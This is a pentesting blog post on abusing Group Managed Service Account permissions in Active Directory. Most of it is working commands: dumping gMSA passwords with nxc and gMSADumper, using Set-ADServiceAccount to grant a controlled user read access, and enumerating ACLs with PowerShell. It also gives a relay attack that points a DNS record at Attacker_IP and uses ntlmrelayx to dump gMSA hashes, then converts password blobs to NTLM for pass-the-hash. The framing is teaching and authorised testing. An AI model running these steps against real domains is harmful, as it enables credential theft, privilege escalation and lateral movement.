Abusing GMSA Permissions - What You Need to Know as a Pentester

Group Managed Service Accounts (gMSAs) are designed to simplify password management for services running across multiple servers in a domain. They're meant to reduce attack surface—but when misconfigured, they open up serious opportunities for lateral movement, privilege escalation, and persistence.

Let’s break down what gMSAs are, why attackers care, and how you can test them in your engagements.


What is a gMSA?

  • A Group Managed Service Account is a domain account used by services, tasks, or applications.
  • Passwords are automatically managed by Active Directory and rotated regularly.
  • Only specific hosts (configured via msDS-HostServiceAccount) can retrieve and use the gMSA.
  • Used with services like IIS App Pools, scheduled tasks, or SQL Server jobs.

Abusing Write Access on gMSA Objects

If you can write to a gMSA object's msDS-GroupMSAMembership attribute, you can add a computer account you control, retrieve the password, and impersonate the account.

This can happen via:

  • Direct control over the attribute using WriteProperty

    • Rights-GUID: 888eedd6-ce04-df40-b462-b8a50e41ba38

  • Indirect control via:

    • GenericAll
    • WriteDacl
    • WriteOwner

Use tools like BloodHound to visualize who can write to the gMSA object.

Generic Write | Write Owner Permissions on GMSA 

#List the GMSA Password accessible users (Linux)
nxc ldap haze.htb -u 'ControlledUser' -p 'P@ssw0rd!' --gmsa
python gMSADumper.py -u ControlledUser -p P@ssw0rd!  -d domain.local

#Check the account type of the Victim user  
Get-ADServiceAccount -Identity GMSA_Victim_User | Select-Object Name, ObjectClass

#check who all can retrieve the password - PrincipalsAllowedToRetrieveManagedPassword 
Get-ADServiceAccount -Identity "GMSA_Victim_User" -Properties PrincipalsAllowedToRetrieveManagedPassword

#Grant GMSA password read access to controlled user
Set-ADServiceAccount -Identity "GMSA_Victim_User" -PrincipalsAllowedToRetrieveManagedPassword "ControlledUser"

# Validate the access
Get-ADServiceAccount -Identity "GMSA_Victim_User" -Properties PrincipalsAllowedToRetrieveManagedPassword

# Get the Password/NTLM hash of the user (Linux)
nxc ldap haze.htb -u 'ControlledUser' -p 'P@ssw0rd!' --gmsa
python gMSADumper.py -u ControlledUser -p P@ssw0rd!  -d domain.local

with this you can either Pass the hash or if NTLM is disabled use get-TGT 
GMSA ACL Enumeration 
Retrieve direct or indirect rights to modify gMSAs's msDS-GroupMSAMembership attribute.

# Enumerates all principals with direct or indirect rights to retrieve gMSAs' password.
Get-ADServiceAccount -Filter * | ForEach-Object { Get-ACL "AD:\$_" } | Select-Object -ExpandProperty Access | Where-Object {(
$_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner'`
-or ($_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite' -and $_.ObjectType -match '00000000-0000-0000-0000-000000000000|888eedd6-ce04-df40-b462-b8a50e41ba38')`
-and $_.AccessControlType -eq "Allow" -and $_.PropagationFlags -ne "InheritOnly")}

# Enumerates and highlights principals (depending on presupposed risks) with direct or indirect rights to retrieve gMSAs' password.
$PrivilegedPrincipalsRegex = [string]::Join('|', @('Domain Admins', 'Enterprise Admins', 'Domain Controllers', 'Account Operators', 'BUILTIN\\Administrators', 'NT AUTHORITY\\SYSTEM'))
$UnprivilegedPrincipalsRegex = [string]::Join('|', @('Domain Users', 'Everyone', 'Domain Computers', 'Authenticated Users', 'Anonymous', 'Users'))

Get-ADServiceAccount -Filter * | ForEach-Object { Get-ACL "AD:\$_" } | Select-Object -ExpandProperty Access | Where-Object {(
    $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner'`
    -or ($_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite' -and $_.ObjectType -match '00000000-0000-0000-0000-000000000000|888eedd6-ce04-df40-b462-b8a50e41ba38')`
    -and $_.AccessControlType -eq "Allow" -and $_.PropagationFlags -ne "InheritOnly")} | ForEach-Object {

    If ($_.IdentityReference -match $UnprivilegedPrincipalsRegex) {
      Write-Host -ForegroundColor Green $_.IdentityReference
      $anyoneCanEnroll = $True
    }

    ElseIf ($_.IdentityReference -match $PrivilegedPrincipalsRegex) {
      Write-Host -ForegroundColor Red $_.IdentityReference
    }

    Else { Write-Host -ForegroundColor Yellow $_.IdentityReference }
    $_
    Write-Host "`n"
}
Abusing GMSA by relaying 

Import-Module .\
Invoke-DNSUpdate.ps1
Invoke-DNSUpdate -DNSType A -DNSName might -DNSData Attacker_IP -Realm steins.local

#Invoke a web request from the service that is using GMSA
Invoke-WebRequest -uri "http://might.steins.local" -UseDefaultCredentials

#Start capturing the data using ntlmrelayx, if its running as administraor SAM hashes will be dumped
sudo proxychains ntlmrelayx.py --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs -debug -t ldaps://GMSA_running_machine_IP

#incase the data is shown as Password blob, you can use below to convert it to ntlm hash
(ConvertFrom-ADManagedPasswordBlob <blob>).SecureCurrentPassword | ConvertTo-NTHash OR if the user can read GMSA Passwords, you can use
gMSADumper.py to dump the hashes python3 gMSADumper.py -u 'USERNAME' -p 'P@SSW0RD!' -d 'steins.local' -l 'dc.steins.local'


Real-World Examples

  • A backup solution using a gMSA with Backup Operators rights across all DCs.
  • A scheduled task that runs every 10 minutes as a gMSA with local admin rights on a jump server.
  • A gMSA with read access to sensitive SMB shares used by finance or HR.

All of these are valid targets for lateral movement and privilege escalation.

Bhanu Namikaze

Bhanu Namikaze is an Ethical Hacker, Security Analyst, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and Capture the Flags. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment